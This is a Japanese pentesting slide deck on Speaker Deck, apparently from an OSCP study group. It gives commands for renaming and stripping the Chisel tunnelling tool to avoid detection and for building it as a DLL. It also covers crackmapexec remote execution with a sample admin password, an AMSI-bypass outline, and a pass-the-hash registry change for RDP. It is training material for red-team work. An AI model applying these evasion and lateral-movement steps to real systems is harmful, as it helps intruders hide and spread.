Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ペンテストに関するTIPS
Search
Ruslan Sayfiev
August 28, 2023
Technology
2
1.9k
ペンテストに関するTIPS
主にペネトレーションテストやRed Team業務を対象として、Golangで開発されたツール編集のやり方やリモート操作用サービスの違い紹介の資料です。
Ruslan Sayfiev
August 28, 2023
Tweet
Share
More Decks by Ruslan Sayfiev
See All by Ruslan Sayfiev
Active Directory攻防
cryptopeg
10
7.8k
Other Decks in Technology
See All in Technology
モダンな現場と従来型の組織——そこに生じる "不整合" を解消してこそチームがパフォーマンスを発揮できる / Team-oriented Organization Design 20250825
mtx2s
6
44k
ZOZOTOWNフロントエンドにおけるディレクトリの分割戦略
zozotech
PRO
18
5.9k
帳票Vibe Coding
terurou
0
150
AIエージェントの開発に必須な「コンテキスト・エンジニアリング」とは何か──プロンプト・エンジニアリングとの違いを手がかりに考える
masayamoriofficial
0
470
生成AI時代に必要な価値ある意思決定を育てる「開発プロセス定義」を用いた中期戦略
kakehashi
PRO
1
190
現場が抱える様々な問題は “組織設計上” の問題によって生じていることがある / Team-oriented Organization Design 20250827
mtx2s
7
63k
Preferred Networks (PFN) とLLM Post-Training チームの紹介 / 第4回 関東Kaggler会 スポンサーセッション
pfn
PRO
1
280
広島銀行におけるAWS活用の取り組みについて
masakimori
0
160
攻撃と防御で実践するプロダクトセキュリティ演習~導入パート~
recruitengineers
PRO
3
1.5k
Oracle Cloud Infrastructure:2025年8月度サービス・アップデート
oracle4engineer
PRO
0
120
努力家なスクラムマスターが陥る「傍観者」という罠と乗り越えた先に信頼があった話 / 20250830 Takahiro Sasaki
shift_evolve
PRO
2
120
ここ一年のCCoEとしてのAWSコスト最適化を振り返る / CCoE AWS Cost Optimization devio2025
masahirokawahara
1
310
Featured
See All Featured
ピンチをチャンスに:未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
126
53k
Statistics for Hackers
jakevdp
799
220k
How To Stay Up To Date on Web Technology
chriscoyier
790
250k
Building a Modern Day E-commerce SEO Strategy
aleyda
43
7.5k
Six Lessons from altMBA
skipperchong
28
4k
A Modern Web Designer's Workflow
chriscoyier
696
190k
Raft: Consensus for Rubyists
vanstee
140
7.1k
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
26
3k
Build your cross-platform service in a week with App Engine
jlugia
231
18k
The MySQL Ecosystem @ GitHub 2015
samlambert
251
13k
Responsive Adventures: Dirty Tricks From The Dark Corners of Front-End
smashingmag
252
21k
The Language of Interfaces
destraynor
160
25k
Transcript
ペンテストに関するTIPS Ruslan Sayfiev Mizuno Sarii OSCP勉強会 2023年8月26日
WHOAMI Ruslan Sayfiev(ルスラン) • Red Team/PTリーダー@ GMO サイバーセキュリティ by イエラエ
• 主な知見:Web・NW診断、Cloud/OSINT/Pentest/RedTeam、車系の診断など • 資格(思ったより多い):OSWP, OSCP, OSEP, OSCE, OSEE, GXPN, CRTO, CRTL, CRTE, CARTP • HackTheBox(やりたいほどできてきていないが):Guru 水野沙理衣 • 新卒1年目@ GMO サイバーセキュリティ by イエラエ • 9月よりWebアプリーケーション脆弱性診断課 • PT勉強中 • SECCON実行委員、CTF for Girls運営(WEB分野講師など) • HackTheBox:Hacker
目次 • カスタムなChiselの作り方 • Windows環境にリモート操作用プロトコル(概要・検知) • WMI • SMB(PSExec、 SMBExec)
• WinRM • RDP
※既存Golangアプリのカスタマイズやコンパイル カスタムなCHISELの作り方
CHISELとは • WebSocketを使用したTCPトンネリングツール(トンネル内はSSHで暗号化される) • Go言語で作成 • 「https://github.com/jpillora/chisel」にて入手可能
カスタマイズなんているの? いくつかの理由の例: • 不足している機能の追加開発(例:Kerberos認証) • 他のツールへの組み込みなど
1) GOLANG開発環境の準備 • 該当プラットホーム元に正式サイトからArchive形のGolangをダウンロード・展開 • 展開したフォルダーにアクセスし、任意のフォルダーを作成する(例:_SRC) • 環境変数をエクスポートする(外部から実行する際、フルパスで指定) • Mac・Linux
export GOPATH=go_custom/_SRC export GOROOT=go_custom export GO111MODULE=off • Win set GOPATH=C:\go_win_custom\_SRC set GOROOT=C:\go_win_custom set GO111MODULE=off
MAC WIN https://go.dev/dl/
• Githubから最新版のArchive方式のChiselをダウンロードする • 「_SRC」フォルダー内に(例:chisel_custom)フォルダーを作って,「main.go」 ファイルだけを入れておく • 「chisel_custom」フォルダーに「cd」する 2) CHISELと必要なライブラリの準備
• そのまま「build」しようとすると、必要なライブラリがないというエラーが発生する • 以下の方法によって必要なライブラリの導入が可能 ※「main.go」ファイルのあるフォルダーから実行! • go get -v -d
./... または • go get github.com/jpillora/chisel
3) CHISELのビルド・カスタマイズ • 現時点で基本的にビルドができるようなりました • go build main.go (別OS/ARCHの場合、GOOS/GOARCHの設定が必要)
• このままのビルドだと、公開リリースビルドとほぼ差がなく、同様に検知され ることになります • 簡単にStringsツールをかけて、Chiselの文字列で確認しましょう • 中身を確認すると、外部ライブラリのインポート名に見える
• 「main.go」ファイルを確認すると、「github.com/jpillora/chisel/…」がインポー トされていることがわかります
• まず、以下の編集を行いましょう 「github.com/jpillora/chisel」 → 「custom_lib」
• コンパイルすると、エラー! • インポートされるライブラリ名が変わったため、ソースフォルダーも以下のよ うに編集する必要があります 「_SRC/src/github.com/jpillora/chisel」 → 「_SRC/src/custom_lib」 ※フォルダー内に「client、server、share」のみのフォルダーを残して大丈夫
• 今度コンパイルし直して、「chisel」で検索すると、23回だけ引っかかることが わかります。おそらく、Helpなどに含まれている文字列が残っているかと推 測できます。 • 実際に中身を確認して、全ての「chisel」文字列を編集しましょう 「chisel」 → 「OSCPStudy」
• 改めてビルドして検索してみると、1個だけが出てくることを確認する。それ は、ビルドパスがバイナリ内に含まれるためで、以下の追加フラグによって パスやシンボルデータなどの削除が可能です。 go build -ldflags="-s -w -extldflags=-static" -trimpath
main.go
• ビルドするバイナリをEXEからDLLにする必要がある場合、以下のように関数を追加して、エクス ポートすることで可能です。 GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -
buildmode=c-shared -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go
• 「Dumpbin」ツールによって、「OffSecRun」関数がエクスポートされていることが 確認できます。例:「rundll32 chisel.dll,OffSecRun」のコマンドによって実行が可 能です。
各種OSやアーキテクチャのコンパイル例(Mac環境) Linux ・ GOOS=linux GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static"
-trimpath -o chisel_arm64.elf main.go ・ GOOS=linux GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.elf main.go ・ GOOS=linux GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.elf main.go Windows #EXE ・ GOOS=windows GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_arm.exe main.go ・ GOOS=windows GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.exe main.go ・ GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.exe main.go #DLL (MinGWが必要) ・ GOOS=windows GOARCH=386 CGO_ENABLED=1 CC=i686-w64-mingw32-gcc go build -buildmode=c-shared - ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.dll main.go ・ GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared - ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go MacOS ・ GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_ARM main.go ・ GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64 main.go
WINDOWS環境にリモート操作用プロトコル (概要・検知)
WMI (WINDOWS MANAGEMENT INSTRUMENTATION) • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続 •
-u Administrator -p ‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用 • --exec-method wmiexec → コマンド実行のメソッドとしてwmiexecを使用 • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ) WMIの親子プロセス関係
• --no-output → 実行結果を出力しない WMIの親子プロセス関係
• strace → システムコールとシグナルを追跡するプログラム • -f → フォークした子プロセスも追跡 • -e
trace=network →ネットワークに関連するシステムコールだけを追跡 • 2>&1 → 標準エラー出力(stderr)を標準出力(stdout)にリダイレクト • grep 'connect(‘ → 出力の中からconnect(という文字列を含む行だけを抽出 WMIは135ポート+50000+系のポートを使用する ※上記では445ポートも使用されているが、使わなくすることも可能 使用されるポート
SMB(PSEXEC) 手元の端末で実行 PSExecの親子プロセス関係 対象端末にPSEXECSVCサービスが作成
SMB(SMBEXEC) • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続 • -u Administrator -p
‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用 • --exec-method smbexec → コマンド実行のメソッドとしてsmbexecを使用 • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ)
• --no-output → 実行結果を出力しない
SMBExec/PSExec系は445ポートを使用する 使用されるポート
WINRM(WINDOWS REMOTE MANAGEMENT) WinRMで接続(Invoke-Mimikatzを入力するだけでAMSI機能にセッションが殺される) WinRMの親子プロセス関係
[Ref].Assembly.GetType(...) → .NETアセンブリから特定の型を取得 'Sy’ …;$result) → System.Management.Automation.AmsiUtilsの難読化 .GetField(..., 'NonPublic,Static') →
この型に存在する特定の非公開静的フィールドを取得 .SetValue($null, $true) → この非公開静的フィールドの値をtrueに設定 内部に実装されているモジュールによる回避は失敗する
WinRMは5985ポートを使用する ※SSLの場合、5986ポートが使用される 使用されるポート
RDP(REMOTE DESKTOP PROTOCOL) 一般的には認証情報が手元にあり、入力して入るだけ(MFAなしの場合)ですが、場合によって、 NTLMハッシュのみが手元にある場合はどうすれば?
DisableRestrictedAdminキーを登録する方法: crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg
add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f' DisableRestrictedAdminを0に設定することで、 「リモート 資格情報ガード」機能の「制限付き管理 モード」が有効化される DisableRestrictedAdminキーを削除する方法: crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg delete HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /f'
RDPは3389ポートを使用する 使用されるポート
サマリー • ChiselなどのGolangプログラムを含めてカスタマイズしましょう! • リモート操作用プロトコルをしっかり理解して、状況に応じて適切に使いま しょう!
QUESTIONS? • Twitter: https://twitter.com/cryptopeg https://twitter.com/r1154n